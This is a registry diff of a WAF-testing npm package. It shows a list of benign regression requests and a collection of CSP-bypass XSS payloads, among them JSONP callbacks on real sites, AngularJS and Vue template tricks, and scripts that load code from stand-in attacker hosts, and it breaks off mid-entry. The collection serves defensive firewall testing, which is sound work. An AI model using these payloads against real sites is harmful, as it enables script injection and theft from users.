@waftester/cli 2.8.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (141) hide show
  1. package/LICENSE +80 -0
  2. package/LICENSE-COMMUNITY +28 -0
  3. package/README.md +121 -0
  4. package/bin/cli.js +152 -0
  5. package/package.json +52 -0
  6. package/payloads/community/README.md +45 -0
  7. package/payloads/community/ai/ml-poisoning.json +173 -0
  8. package/payloads/community/ai/prompt-injection.json +247 -0
  9. package/payloads/community/ai/workflow-abuse.json +222 -0
  10. package/payloads/community/auth/jwt.json +855 -0
  11. package/payloads/community/auth/login-bypass.json +623 -0
  12. package/payloads/community/auth/mfa.json +402 -0
  13. package/payloads/community/auth/oauth.json +421 -0
  14. package/payloads/community/auth/open-redirect.json +1028 -0
  15. package/payloads/community/auth/session.json +404 -0
  16. package/payloads/community/cache/deception.json +402 -0
  17. package/payloads/community/cache/poisoning.json +403 -0
  18. package/payloads/community/deserialization/gadget.json +375 -0
  19. package/payloads/community/deserialization/prototype.json +370 -0
  20. package/payloads/community/fuzz/content-type.json +397 -0
  21. package/payloads/community/fuzz/headers.json +401 -0
  22. package/payloads/community/fuzz/methods.json +397 -0
  23. package/payloads/community/fuzz/obfuscation.json +362 -0
  24. package/payloads/community/fuzz/special-chars.json +740 -0
  25. package/payloads/community/fuzz/waf-bypass.json +452 -0
  26. package/payloads/community/graphql/batching-abuse.json +271 -0
  27. package/payloads/community/graphql/depth-limit.json +271 -0
  28. package/payloads/community/graphql/introspection.json +267 -0
  29. package/payloads/community/injection/crlf.json +569 -0
  30. package/payloads/community/injection/ldap.json +357 -0
  31. package/payloads/community/injection/nosqli.json +529 -0
  32. package/payloads/community/injection/oscmd.json +662 -0
  33. package/payloads/community/injection/rce-polyglots.json +452 -0
  34. package/payloads/community/injection/sqli.json +681 -0
  35. package/payloads/community/injection/ssti.json +584 -0
  36. package/payloads/community/injection/upload-attacks.json +632 -0
  37. package/payloads/community/injection/xpath.json +357 -0
  38. package/payloads/community/injection/xxe.json +716 -0
  39. package/payloads/community/logic/forced-browsing.json +405 -0
  40. package/payloads/community/logic/idor.json +1026 -0
  41. package/payloads/community/logic/privilege.json +337 -0
  42. package/payloads/community/media/exif-injection.json +225 -0
  43. package/payloads/community/media/metadata-poison.json +239 -0
  44. package/payloads/community/protocol/http-smuggling.json +798 -0
  45. package/payloads/community/protocol/http2-attacks.json +382 -0
  46. package/payloads/community/protocol/websocket-abuse.json +375 -0
  47. package/payloads/community/rate-limit/burst-simulation.json +286 -0
  48. package/payloads/community/rate-limit/bypass-attempts.json +326 -0
  49. package/payloads/community/rate-limit/zone-tests.json +332 -0
  50. package/payloads/community/services/authentik.json +415 -0
  51. package/payloads/community/services/immich.json +423 -0
  52. package/payloads/community/services/n8n.json +366 -0
  53. package/payloads/community/sqli-basic.json +182 -0
  54. package/payloads/community/ssrf/cloud-metadata.json +999 -0
  55. package/payloads/community/ssrf/dns-rebinding.json +503 -0
  56. package/payloads/community/ssrf/internal-networks.json +627 -0
  57. package/payloads/community/ssrf/protocol-smuggling.json +350 -0
  58. package/payloads/community/ssti/multi-language-templates.json +191 -0
  59. package/payloads/community/ssti/python-templates.json +200 -0
  60. package/payloads/community/traversal/basic.json +675 -0
  61. package/payloads/community/traversal/cloud-credentials.json +107 -0
  62. package/payloads/community/traversal/config-files.json +193 -0
  63. package/payloads/community/traversal/encoding.json +558 -0
  64. package/payloads/community/traversal/null-byte.json +105 -0
  65. package/payloads/community/traversal/symlink.json +93 -0
  66. package/payloads/community/traversal/unicode.json +134 -0
  67. package/payloads/community/traversal/unix-advanced.json +195 -0
  68. package/payloads/community/traversal/windows-advanced.json +195 -0
  69. package/payloads/community/waf-bypass/cloudflare-bypass.json +102 -0
  70. package/payloads/community/waf-bypass/encoding-bypass.json +120 -0
  71. package/payloads/community/waf-bypass/evasion-techniques.json +164 -0
  72. package/payloads/community/waf-bypass/hpp-bypass.json +92 -0
  73. package/payloads/community/waf-bypass/modsecurity-crs.json +220 -0
  74. package/payloads/community/waf-bypass/protocol-attacks.json +101 -0
  75. package/payloads/community/waf-bypass/sqlmap-tamper.json +252 -0
  76. package/payloads/community/waf-bypass/unicode-charset.json +152 -0
  77. package/payloads/community/waf-bypass/vendor-bypasses.json +72 -0
  78. package/payloads/community/waf-validation/README.md +172 -0
  79. package/payloads/community/waf-validation/bypass-techniques.json +272 -0
  80. package/payloads/community/waf-validation/custom-rules.json +952 -0
  81. package/payloads/community/waf-validation/evasion-techniques.json +272 -0
  82. package/payloads/community/waf-validation/modsecurity-core.json +151 -0
  83. package/payloads/community/waf-validation/owasp-top10.json +236 -0
  84. package/payloads/community/waf-validation/regression-tests.json +227 -0
  85. package/payloads/community/xss/csp-bypass.json +431 -0
  86. package/payloads/community/xss/dom.json +389 -0
  87. package/payloads/community/xss/filter-bypass.json +1242 -0
  88. package/payloads/community/xss/mutation.json +263 -0
  89. package/payloads/community/xss/polyglots.json +371 -0
  90. package/payloads/community/xss/reflected.json +187 -0
  91. package/payloads/community/xss/stored.json +330 -0
  92. package/payloads/crlf-injection.json +182 -0
  93. package/payloads/ids-map.json +155 -0
  94. package/payloads/ldap-injection.json +182 -0
  95. package/payloads/nosql-injection.json +227 -0
  96. package/payloads/prototype-pollution.json +182 -0
  97. package/payloads/request-smuggling.json +182 -0
  98. package/payloads/version.json +28 -0
  99. package/payloads/xss-advanced.json +227 -0
  100. package/templates/README.md +221 -0
  101. package/templates/nuclei/http/waf-bypass/crlf-bypass.yaml +146 -0
  102. package/templates/nuclei/http/waf-bypass/lfi-bypass.yaml +152 -0
  103. package/templates/nuclei/http/waf-bypass/nosqli-bypass.yaml +166 -0
  104. package/templates/nuclei/http/waf-bypass/rce-bypass.yaml +171 -0
  105. package/templates/nuclei/http/waf-bypass/sqli-basic.yaml +142 -0
  106. package/templates/nuclei/http/waf-bypass/sqli-evasion.yaml +192 -0
  107. package/templates/nuclei/http/waf-bypass/ssrf-bypass.yaml +130 -0
  108. package/templates/nuclei/http/waf-bypass/ssti-bypass.yaml +147 -0
  109. package/templates/nuclei/http/waf-bypass/xss-basic.yaml +163 -0
  110. package/templates/nuclei/http/waf-bypass/xss-evasion.yaml +217 -0
  111. package/templates/nuclei/http/waf-bypass/xxe-bypass.yaml +204 -0
  112. package/templates/nuclei/http/waf-detection/akamai-detect.yaml +105 -0
  113. package/templates/nuclei/http/waf-detection/aws-waf-detect.yaml +115 -0
  114. package/templates/nuclei/http/waf-detection/azure-waf-detect.yaml +114 -0
  115. package/templates/nuclei/http/waf-detection/cloudflare-detect.yaml +121 -0
  116. package/templates/nuclei/http/waf-detection/modsecurity-detect.yaml +129 -0
  117. package/templates/nuclei/workflows/waf-assessment-workflow.yaml +71 -0
  118. package/templates/output/asff.tmpl +61 -0
  119. package/templates/output/csv.tmpl +4 -0
  120. package/templates/output/junit.tmpl +34 -0
  121. package/templates/output/markdown-report.tmpl +92 -0
  122. package/templates/output/slack-notification.tmpl +95 -0
  123. package/templates/output/text-summary.tmpl +56 -0
  124. package/templates/overrides/api-only.yaml +130 -0
  125. package/templates/overrides/crs-tuning.yaml +204 -0
  126. package/templates/overrides/false-positive-suppression.yaml +159 -0
  127. package/templates/policies/owasp-top10.yaml +152 -0
  128. package/templates/policies/pci-dss.yaml +124 -0
  129. package/templates/policies/permissive.yaml +40 -0
  130. package/templates/policies/standard.yaml +57 -0
  131. package/templates/policies/strict.yaml +72 -0
  132. package/templates/report-configs/compliance.yaml +173 -0
  133. package/templates/report-configs/dark.yaml +136 -0
  134. package/templates/report-configs/enterprise.yaml +175 -0
  135. package/templates/report-configs/minimal.yaml +84 -0
  136. package/templates/report-configs/print.yaml +139 -0
  137. package/templates/workflows/api-scan.yaml +132 -0
  138. package/templates/workflows/ci-gate.yaml +129 -0
  139. package/templates/workflows/full-scan.yaml +133 -0
  140. package/templates/workflows/quick-probe.yaml +80 -0
  141. package/templates/workflows/waf-detection.yaml +89 -0
@@ -0,0 +1,227 @@
1
+ [
2
+ {
3
+ "id": "LEGIT-API-001",
4
+ "payload": "GET /api/health",
5
+ "tags": ["regression", "legitimate", "health", "quick"],
6
+ "expected_block": false,
7
+ "severity_hint": "Low",
8
+ "notes": "Health check endpoint - MUST NOT be blocked",
9
+ "category": "Regression"
10
+ },
11
+ {
12
+ "id": "LEGIT-API-002",
13
+ "payload": "POST /api/login HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"username\":\"admin\",\"password\":\"test123\"}",
14
+ "tags": ["regression", "legitimate", "auth", "quick"],
15
+ "expected_block": false,
16
+ "severity_hint": "Low",
17
+ "notes": "Normal login request - MUST NOT be blocked",
18
+ "category": "Regression"
19
+ },
20
+ {
21
+ "id": "LEGIT-API-003",
22
+ "payload": "GET /api/users?page=1&limit=10&sort=name",
23
+ "tags": ["regression", "legitimate", "pagination", "quick"],
24
+ "expected_block": false,
25
+ "severity_hint": "Low",
26
+ "notes": "Normal pagination request - MUST NOT be blocked",
27
+ "category": "Regression"
28
+ },
29
+ {
30
+ "id": "LEGIT-API-004",
31
+ "payload": "POST /api/search HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"query\":\"SELECT report\",\"filters\":[\"date\"]}",
32
+ "tags": ["regression", "legitimate", "search", "quick"],
33
+ "expected_block": false,
34
+ "severity_hint": "Low",
35
+ "notes": "Search with SQL-like word (not injection) - MUST NOT be blocked",
36
+ "category": "Regression"
37
+ },
38
+ {
39
+ "id": "LEGIT-API-005",
40
+ "payload": "POST /api/documents HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"title\":\"O'Brien Contract\",\"content\":\"John's agreement\"}",
41
+ "tags": ["regression", "legitimate", "apostrophe", "quick"],
42
+ "expected_block": false,
43
+ "severity_hint": "Low",
44
+ "notes": "Legitimate apostrophe in content - MUST NOT be blocked",
45
+ "category": "Regression"
46
+ },
47
+ {
48
+ "id": "LEGIT-API-006",
49
+ "payload": "GET /api/users?filter=status==active",
50
+ "tags": ["regression", "legitimate", "query-operators", "quick"],
51
+ "expected_block": false,
52
+ "severity_hint": "Low",
53
+ "notes": "Double equals in filter - MUST NOT be blocked",
54
+ "category": "Regression"
55
+ },
56
+ {
57
+ "id": "LEGIT-API-007",
58
+ "payload": "POST /api/content HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"html\":\"<p>Hello <b>World</b></p>\"}",
59
+ "tags": ["regression", "legitimate", "html-content", "quick"],
60
+ "expected_block": false,
61
+ "severity_hint": "Low",
62
+ "notes": "Safe HTML in content field - MUST NOT be blocked",
63
+ "category": "Regression"
64
+ },
65
+ {
66
+ "id": "LEGIT-API-008",
67
+ "payload": "GET /api/files?path=/uploads/documents/report.pdf",
68
+ "tags": ["regression", "legitimate", "path", "quick"],
69
+ "expected_block": false,
70
+ "severity_hint": "Low",
71
+ "notes": "Normal file path - MUST NOT be blocked",
72
+ "category": "Regression"
73
+ },
74
+ {
75
+ "id": "LEGIT-API-009",
76
+ "payload": "POST /api/webhook/test HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"event\":\"user.created\",\"data\":{}}",
77
+ "tags": ["regression", "legitimate", "webhook", "quick"],
78
+ "expected_block": false,
79
+ "severity_hint": "Low",
80
+ "notes": "Normal webhook call - MUST NOT be blocked",
81
+ "category": "Regression"
82
+ },
83
+ {
84
+ "id": "LEGIT-API-010",
85
+ "payload": "GET /api/search?q=python%20programming%20tutorial",
86
+ "tags": ["regression", "legitimate", "encoded-spaces", "quick"],
87
+ "expected_block": false,
88
+ "severity_hint": "Low",
89
+ "notes": "URL-encoded spaces in search - MUST NOT be blocked",
90
+ "category": "Regression"
91
+ },
92
+ {
93
+ "id": "LEGIT-API-011",
94
+ "payload": "POST /api/code HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"code\":\"function test() { return 1 || 2; }\"}",
95
+ "tags": ["regression", "legitimate", "code-content"],
96
+ "expected_block": false,
97
+ "severity_hint": "Low",
98
+ "notes": "JavaScript code with || operator - MUST NOT be blocked",
99
+ "category": "Regression"
100
+ },
101
+ {
102
+ "id": "LEGIT-API-012",
103
+ "payload": "POST /api/formula HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"formula\":\"IF(A1>0, A1*2, 0)\"}",
104
+ "tags": ["regression", "legitimate", "formula"],
105
+ "expected_block": false,
106
+ "severity_hint": "Low",
107
+ "notes": "Excel-like formula - MUST NOT be blocked",
108
+ "category": "Regression"
109
+ },
110
+ {
111
+ "id": "LEGIT-API-013",
112
+ "payload": "GET /api/metrics?from=2024-01-01T00:00:00Z&to=2024-12-31T23:59:59Z",
113
+ "tags": ["regression", "legitimate", "timestamp"],
114
+ "expected_block": false,
115
+ "severity_hint": "Low",
116
+ "notes": "ISO timestamp with special chars - MUST NOT be blocked",
117
+ "category": "Regression"
118
+ },
119
+ {
120
+ "id": "LEGIT-API-014",
121
+ "payload": "GET /api/users/search?email=user%40example.com",
122
+ "tags": ["regression", "legitimate", "email"],
123
+ "expected_block": false,
124
+ "severity_hint": "Low",
125
+ "notes": "Email with @ symbol - MUST NOT be blocked",
126
+ "category": "Regression"
127
+ },
128
+ {
129
+ "id": "LEGIT-API-015",
130
+ "payload": "POST /api/markdown HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"content\":\"# Title\\n## Subtitle\\n- Item 1\\n- Item 2\\n`code`\"}",
131
+ "tags": ["regression", "legitimate", "markdown"],
132
+ "expected_block": false,
133
+ "severity_hint": "Low",
134
+ "notes": "Markdown content - MUST NOT be blocked",
135
+ "category": "Regression"
136
+ },
137
+ {
138
+ "id": "LEGIT-N8N-001",
139
+ "payload": "POST /webhook/test-workflow HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"data\":\"test\"}",
140
+ "tags": ["regression", "n8n", "webhook", "quick"],
141
+ "expected_block": false,
142
+ "severity_hint": "Low",
143
+ "notes": "n8n webhook - MUST NOT be blocked",
144
+ "category": "Regression"
145
+ },
146
+ {
147
+ "id": "LEGIT-N8N-002",
148
+ "payload": "GET /healthz",
149
+ "tags": ["regression", "n8n", "health", "quick"],
150
+ "expected_block": false,
151
+ "severity_hint": "Low",
152
+ "notes": "n8n health check - MUST NOT be blocked",
153
+ "category": "Regression"
154
+ },
155
+ {
156
+ "id": "LEGIT-N8N-003",
157
+ "payload": "POST /rest/workflows HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"name\":\"Test Workflow\",\"nodes\":[]}",
158
+ "tags": ["regression", "n8n", "workflow"],
159
+ "expected_block": false,
160
+ "severity_hint": "Low",
161
+ "notes": "n8n workflow creation - MUST NOT be blocked",
162
+ "category": "Regression"
163
+ },
164
+ {
165
+ "id": "LEGIT-IMMICH-001",
166
+ "payload": "GET /api/server/ping",
167
+ "tags": ["regression", "immich", "health", "quick"],
168
+ "expected_block": false,
169
+ "severity_hint": "Low",
170
+ "notes": "Immich health check - MUST NOT be blocked",
171
+ "category": "Regression"
172
+ },
173
+ {
174
+ "id": "LEGIT-IMMICH-002",
175
+ "payload": "GET /api/assets/abc123-def456",
176
+ "tags": ["regression", "immich", "asset", "quick"],
177
+ "expected_block": false,
178
+ "severity_hint": "Low",
179
+ "notes": "Immich asset request - MUST NOT be blocked",
180
+ "category": "Regression"
181
+ },
182
+ {
183
+ "id": "LEGIT-IMMICH-003",
184
+ "payload": "POST /api/upload HTTP/1.1\r\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundary\r\n\r\n------WebKitFormBoundary\r\nContent-Disposition: form-data; name=\"file\"; filename=\"photo.jpg\"\r\nContent-Type: image/jpeg\r\n\r\n[binary]\r\n------WebKitFormBoundary--",
185
+ "tags": ["regression", "immich", "upload"],
186
+ "expected_block": false,
187
+ "severity_hint": "Low",
188
+ "notes": "Immich file upload - MUST NOT be blocked",
189
+ "category": "Regression"
190
+ },
191
+ {
192
+ "id": "LEGIT-AUTHENTIK-001",
193
+ "payload": "GET /-/health/ready/",
194
+ "tags": ["regression", "authentik", "health", "quick"],
195
+ "expected_block": false,
196
+ "severity_hint": "Low",
197
+ "notes": "Authentik health check - MUST NOT be blocked",
198
+ "category": "Regression"
199
+ },
200
+ {
201
+ "id": "LEGIT-AUTHENTIK-002",
202
+ "payload": "POST /api/v3/flows/executor/default-authentication-flow/ HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"uid_field\":\"admin\"}",
203
+ "tags": ["regression", "authentik", "auth", "quick"],
204
+ "expected_block": false,
205
+ "severity_hint": "Low",
206
+ "notes": "Authentik authentication flow - MUST NOT be blocked",
207
+ "category": "Regression"
208
+ },
209
+ {
210
+ "id": "LEGIT-AGREEMENTPULSE-001",
211
+ "payload": "GET /api/health",
212
+ "tags": ["regression", "agreementpulse", "health", "quick"],
213
+ "expected_block": false,
214
+ "severity_hint": "Low",
215
+ "notes": "AgreementPulse health check - MUST NOT be blocked",
216
+ "category": "Regression"
217
+ },
218
+ {
219
+ "id": "LEGIT-AGREEMENTPULSE-002",
220
+ "payload": "POST /api/contracts HTTP/1.1\r\nContent-Type: application/json\r\n\r\n{\"title\":\"Service Agreement\",\"parties\":[\"Company A\",\"Company B\"]}",
221
+ "tags": ["regression", "agreementpulse", "contract", "quick"],
222
+ "expected_block": false,
223
+ "severity_hint": "Low",
224
+ "notes": "AgreementPulse contract creation - MUST NOT be blocked",
225
+ "category": "Regression"
226
+ }
227
+ ]
@@ -0,0 +1,431 @@
1
+ [
2
+ {
3
+ "id": "XSS-CSP-100",
4
+ "payload": "<script nonce=\"abc123\">alert(1)</script>",
5
+ "tags": [
6
+ "csp-bypass",
7
+ "nonce-prediction",
8
+ "quick"
9
+ ],
10
+ "expected_block": true,
11
+ "severity_hint": "Critical",
12
+ "notes": "CSP bypass via predictable nonce value",
13
+ "category": "XSS"
14
+ },
15
+ {
16
+ "id": "XSS-CSP-101",
17
+ "payload": "<link rel=preload href=\"https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js\"><div ng-app ng-csp><textarea autofocus ng-focus=\"d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'\" ></textarea></div>",
18
+ "tags": [
19
+ "csp-bypass",
20
+ "angular",
21
+ "ng-csp"
22
+ ],
23
+ "expected_block": true,
24
+ "severity_hint": "Critical",
25
+ "notes": "CSP bypass via AngularJS ng-csp mode",
26
+ "category": "XSS"
27
+ },
28
+ {
29
+ "id": "XSS-CSP-102",
30
+ "payload": "<script src=\"https://www.google.com/jsapi?callback=alert\"></script>",
31
+ "tags": [
32
+ "csp-bypass",
33
+ "jsonp",
34
+ "google"
35
+ ],
36
+ "expected_block": true,
37
+ "severity_hint": "Critical",
38
+ "notes": "CSP bypass via Google JSONP endpoint",
39
+ "category": "XSS"
40
+ },
41
+ {
42
+ "id": "XSS-CSP-103",
43
+ "payload": "<script src=\"https://accounts.google.com/o/oauth2/revoke?callback=alert\"></script>",
44
+ "tags": [
45
+ "csp-bypass",
46
+ "jsonp",
47
+ "google-oauth"
48
+ ],
49
+ "expected_block": true,
50
+ "severity_hint": "Critical",
51
+ "notes": "CSP bypass via Google OAuth JSONP callback",
52
+ "category": "XSS"
53
+ },
54
+ {
55
+ "id": "XSS-CSP-104",
56
+ "payload": "<script src=\"https://www.googletagmanager.com/gtm.js?id=GTM-callback&l=alert\"></script>",
57
+ "tags": [
58
+ "csp-bypass",
59
+ "jsonp",
60
+ "google-tag-manager"
61
+ ],
62
+ "expected_block": true,
63
+ "severity_hint": "High",
64
+ "notes": "CSP bypass via Google Tag Manager callback",
65
+ "category": "XSS"
66
+ },
67
+ {
68
+ "id": "XSS-CSP-105",
69
+ "payload": "<base href=\"javascript://\"><a href=\"alert(1)\">click</a>",
70
+ "tags": [
71
+ "csp-bypass",
72
+ "base-uri",
73
+ "base-tag"
74
+ ],
75
+ "expected_block": true,
76
+ "severity_hint": "Critical",
77
+ "notes": "CSP bypass via base tag hijacking (if base-uri not set)",
78
+ "category": "XSS"
79
+ },
80
+ {
81
+ "id": "XSS-CSP-106",
82
+ "payload": "<object data=\"data:text/html,<script>alert(parent.origin)</script>\"></object>",
83
+ "tags": [
84
+ "csp-bypass",
85
+ "object",
86
+ "data-uri"
87
+ ],
88
+ "expected_block": true,
89
+ "severity_hint": "Critical",
90
+ "notes": "CSP bypass via object with data URI",
91
+ "category": "XSS"
92
+ },
93
+ {
94
+ "id": "XSS-CSP-107",
95
+ "payload": "<embed src=\"data:text/html,<script>alert(1)</script>\"></embed>",
96
+ "tags": [
97
+ "csp-bypass",
98
+ "embed",
99
+ "data-uri"
100
+ ],
101
+ "expected_block": true,
102
+ "severity_hint": "High",
103
+ "notes": "CSP bypass via embed with data URI",
104
+ "category": "XSS"
105
+ },
106
+ {
107
+ "id": "XSS-CSP-108",
108
+ "payload": "<meta http-equiv=\"refresh\" content=\"0; url=data:text/html,<script>alert(1)</script>\">",
109
+ "tags": [
110
+ "csp-bypass",
111
+ "meta-refresh",
112
+ "data-uri"
113
+ ],
114
+ "expected_block": true,
115
+ "severity_hint": "Critical",
116
+ "notes": "CSP bypass via meta refresh to data URI",
117
+ "category": "XSS"
118
+ },
119
+ {
120
+ "id": "XSS-CSP-109",
121
+ "payload": "<iframe srcdoc=\"<script>alert(parent.origin)</script>\"></iframe>",
122
+ "tags": [
123
+ "csp-bypass",
124
+ "iframe",
125
+ "srcdoc"
126
+ ],
127
+ "expected_block": true,
128
+ "severity_hint": "Critical",
129
+ "notes": "CSP bypass via iframe srcdoc (inherits parent CSP)",
130
+ "category": "XSS"
131
+ },
132
+ {
133
+ "id": "XSS-CSP-110",
134
+ "payload": "<script src=\"https://ajax.googleapis.com/ajax/libs/angularjs/1.0.1/angular.js\"></script><div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>",
135
+ "tags": [
136
+ "csp-bypass",
137
+ "angular",
138
+ "constructor"
139
+ ],
140
+ "expected_block": true,
141
+ "severity_hint": "Critical",
142
+ "notes": "CSP bypass via AngularJS constructor in CSP mode",
143
+ "category": "XSS"
144
+ },
145
+ {
146
+ "id": "XSS-CSP-111",
147
+ "payload": "<link rel=import href=\"data:text/html,<script>alert(1)</script>\">",
148
+ "tags": [
149
+ "csp-bypass",
150
+ "html-import",
151
+ "data-uri"
152
+ ],
153
+ "expected_block": true,
154
+ "severity_hint": "High",
155
+ "notes": "CSP bypass via HTML import with data URI",
156
+ "category": "XSS"
157
+ },
158
+ {
159
+ "id": "XSS-CSP-112",
160
+ "payload": "<script>location='data:text/html,<script>alert(origin)</script>'</script>",
161
+ "tags": [
162
+ "csp-bypass",
163
+ "location",
164
+ "data-uri"
165
+ ],
166
+ "expected_block": true,
167
+ "severity_hint": "Critical",
168
+ "notes": "CSP bypass via location assignment to data URI",
169
+ "category": "XSS"
170
+ },
171
+ {
172
+ "id": "XSS-CSP-113",
173
+ "payload": "<script src=\"//cdn.jsdelivr.net/npm/vue/dist/vue.js\"></script><div id=app>{{_c.constructor('alert(1)')()}}</div><script>new Vue({el:'#app'})</script>",
174
+ "tags": [
175
+ "csp-bypass",
176
+ "vue",
177
+ "constructor"
178
+ ],
179
+ "expected_block": true,
180
+ "severity_hint": "Critical",
181
+ "notes": "CSP bypass via Vue.js constructor access",
182
+ "category": "XSS"
183
+ },
184
+ {
185
+ "id": "XSS-CSP-114",
186
+ "payload": "<script src=\"https://cdn.jsdelivr.net/npm/requirejs@2.3.6/require.js\"></script><script>require(['https://attacker.com/evil.js'])</script>",
187
+ "tags": [
188
+ "csp-bypass",
189
+ "requirejs",
190
+ "amd"
191
+ ],
192
+ "expected_block": true,
193
+ "severity_hint": "Critical",
194
+ "notes": "CSP bypass via RequireJS dynamic module loading",
195
+ "category": "XSS"
196
+ },
197
+ {
198
+ "id": "XSS-CSP-115",
199
+ "payload": "<script src=\"//google.com/complete/search?client=chrome&jsonp=alert(1);\">",
200
+ "tags": ["csp-bypass", "jsonp", "google"],
201
+ "expected_block": true,
202
+ "severity_hint": "Critical",
203
+ "notes": "CSP bypass via Google Search JSONP callback",
204
+ "category": "XSS"
205
+ },
206
+ {
207
+ "id": "XSS-CSP-116",
208
+ "payload": "<script src=\"https://translate.googleapis.com/$discovery/rest?version=v3&callback=alert();\"></script>",
209
+ "tags": ["csp-bypass", "jsonp", "google-translate"],
210
+ "expected_block": true,
211
+ "severity_hint": "Critical",
212
+ "notes": "CSP bypass via Google Translate API JSONP",
213
+ "category": "XSS"
214
+ },
215
+ {
216
+ "id": "XSS-CSP-117",
217
+ "payload": "<script src=\"https://www.youtube.com/oembed?callback=alert;\"></script>",
218
+ "tags": ["csp-bypass", "jsonp", "youtube"],
219
+ "expected_block": true,
220
+ "severity_hint": "Critical",
221
+ "notes": "CSP bypass via YouTube oEmbed JSONP",
222
+ "category": "XSS"
223
+ },
224
+ {
225
+ "id": "XSS-CSP-118",
226
+ "payload": "<script src=\"https://www.blogger.com/feeds/5578653387562324002/posts/summary/4427562025302749269?callback=alert(1337)\"></script>",
227
+ "tags": ["csp-bypass", "jsonp", "blogger"],
228
+ "expected_block": true,
229
+ "severity_hint": "Critical",
230
+ "notes": "CSP bypass via Blogger JSONP callback",
231
+ "category": "XSS"
232
+ },
233
+ {
234
+ "id": "XSS-CSP-119",
235
+ "payload": "<script src=\"https://translate.yandex.net/api/v1.5/tr.json/detect?callback=alert(1337)\"></script>",
236
+ "tags": ["csp-bypass", "jsonp", "yandex"],
237
+ "expected_block": true,
238
+ "severity_hint": "Critical",
239
+ "notes": "CSP bypass via Yandex Translate JSONP",
240
+ "category": "XSS"
241
+ },
242
+ {
243
+ "id": "XSS-CSP-120",
244
+ "payload": "<script src=\"https://api.vk.com/method/wall.get?callback=alert(1337)\"></script>",
245
+ "tags": ["csp-bypass", "jsonp", "vk"],
246
+ "expected_block": true,
247
+ "severity_hint": "Critical",
248
+ "notes": "CSP bypass via VK API JSONP callback",
249
+ "category": "XSS"
250
+ },
251
+ {
252
+ "id": "XSS-CSP-121",
253
+ "payload": "<script src=\"https://suggest.taobao.com/sug?callback=alert(1337)\"></script>",
254
+ "tags": ["csp-bypass", "jsonp", "alibaba"],
255
+ "expected_block": true,
256
+ "severity_hint": "Critical",
257
+ "notes": "CSP bypass via Taobao JSONP callback",
258
+ "category": "XSS"
259
+ },
260
+ {
261
+ "id": "XSS-CSP-122",
262
+ "payload": "<script src=\"https://mkto.uber.com/index.php/form/getKnownLead?callback=alert(document.domain);\"></script>",
263
+ "tags": ["csp-bypass", "jsonp", "uber"],
264
+ "expected_block": true,
265
+ "severity_hint": "Critical",
266
+ "notes": "CSP bypass via Uber Marketo JSONP",
267
+ "category": "XSS"
268
+ },
269
+ {
270
+ "id": "XSS-CSP-123",
271
+ "payload": "<script src=\"https://appcenter.intuit.com/Account/LogoutJSONP?callback=alert(1337)\"></script>",
272
+ "tags": ["csp-bypass", "jsonp", "intuit"],
273
+ "expected_block": true,
274
+ "severity_hint": "Critical",
275
+ "notes": "CSP bypass via Intuit JSONP callback",
276
+ "category": "XSS"
277
+ },
278
+ {
279
+ "id": "XSS-CSP-124",
280
+ "payload": "ng-app\"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>",
281
+ "tags": ["csp-bypass", "angular", "ng-csp"],
282
+ "expected_block": true,
283
+ "severity_hint": "Critical",
284
+ "notes": "CSP bypass via AngularJS ng-csp with event view",
285
+ "category": "XSS"
286
+ },
287
+ {
288
+ "id": "XSS-CSP-125",
289
+ "payload": "<embed src='//ajax.googleapis.com/ajax/libs/yui/2.8.0r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e){alert(1337)}//' allowscriptaccess=always>",
290
+ "tags": ["csp-bypass", "flash", "swf"],
291
+ "expected_block": true,
292
+ "severity_hint": "Critical",
293
+ "notes": "CSP bypass via Flash SWF allowScriptAccess",
294
+ "category": "XSS"
295
+ },
296
+ {
297
+ "id": "XSS-CSP-126",
298
+ "payload": "<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>",
299
+ "tags": ["csp-bypass", "jsonp", "google-ajax"],
300
+ "expected_block": true,
301
+ "severity_hint": "Critical",
302
+ "notes": "CSP bypass via Google AJAX API feed JSONP",
303
+ "category": "XSS"
304
+ },
305
+ {
306
+ "id": "XSS-CSP-127",
307
+ "payload": "f=document.createElement(\"iframe\");f.id=\"pwn\";f.src=\"/robots.txt\";f.onload=()=>{x=document.createElement('script');x.src='//attacker.lab/csp.js';pwn.contentWindow.document.body.appendChild(x)};document.body.appendChild(f);",
308
+ "tags": ["csp-bypass", "iframe", "default-src"],
309
+ "expected_block": true,
310
+ "severity_hint": "Critical",
311
+ "notes": "CSP default-src bypass via iframe script injection",
312
+ "category": "XSS"
313
+ },
314
+ {
315
+ "id": "XSS-CSP-128",
316
+ "payload": "script=document.createElement('script');script.src='//attacker.lab/csp.js';window.frames[0].document.head.appendChild(script);",
317
+ "tags": ["csp-bypass", "frames", "dynamic-script"],
318
+ "expected_block": true,
319
+ "severity_hint": "Critical",
320
+ "notes": "CSP bypass via frame document script append",
321
+ "category": "XSS"
322
+ },
323
+ {
324
+ "id": "XSS-CSP-129",
325
+ "payload": "<script src=\"data:,alert(1)\">/</script>",
326
+ "tags": ["csp-bypass", "data-uri", "script-src"],
327
+ "expected_block": true,
328
+ "severity_hint": "Critical",
329
+ "notes": "CSP script-src data: bypass",
330
+ "category": "XSS"
331
+ },
332
+ {
333
+ "id": "XSS-CSP-130",
334
